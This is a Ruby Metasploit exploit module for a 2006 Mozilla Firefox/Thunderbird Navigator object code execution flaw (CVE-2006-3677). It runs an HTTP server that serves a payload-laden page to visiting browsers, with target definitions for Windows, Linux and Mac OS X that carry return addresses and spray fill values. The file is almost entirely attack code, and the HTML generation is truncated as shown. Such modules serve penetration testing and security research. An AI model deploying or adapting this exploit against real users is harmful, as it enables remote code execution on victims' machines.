require 'msf/core' module Msf class Exploits::Multi::Browser::Mozilla_NavigatorJava < Msf::Exploit::Remote # # This module acts as an HTTP server # include Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Mozilla Suite/Firefox Navigator Object Code Execution', 'Description' => %q{ This module exploits a code execution vulnerability in the Mozilla Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit requires the Java plugin to be installed. }, 'License' => MSF_LICENSE, 'Author' => ['hdm'], 'Version' => '$Revision: 3637 $', 'References' => [ ['BID', '19192'], ['OSVDB', '27559'], ['CVE', '2006-3677'], ['URL', 'http://www.mozilla.org/security/announce/mfsa2006-45.html'], ['URL', 'http://browserfun.blogspot.com/2006/07/mobb-28-mozilla-navigator-object.html'], ], 'Payload' => { 'Space' => 512, 'BadChars' => "", }, 'Targets' => [ [ 'Firefox 1.5.0.4 Windows x86', { 'Platform' => 'win', 'Arch' => ARCH_X86, 'Ret' => 0x08000800, 'Fill' => "%u0800", } ], [ 'Firefox 1.5.0.4 Linux x86', { 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Ret' => -0x58000000, 'Fill' => "%ua8a8", } ], [ 'Firefox 1.5.0.4 Mac OS X PPC', { 'Platform' => 'osx', 'Arch' => ARCH_PPC, 'Ret' => 0x0c000000, 'Fill' => "%u0c0c", } ], [ 'Firefox 1.5.0.4 Mac OS X x86', { 'Platform' => 'osx', 'Arch' => ARCH_X86, 'Ret' => 0x1c000000, 'Fill' => "%u1c1c", } ], ], 'DisclosureDate' => 'Jul 25 2006' )) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' }) handler(cli) end def generate_html(payload) enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) return %Q|
Please wait... | end end end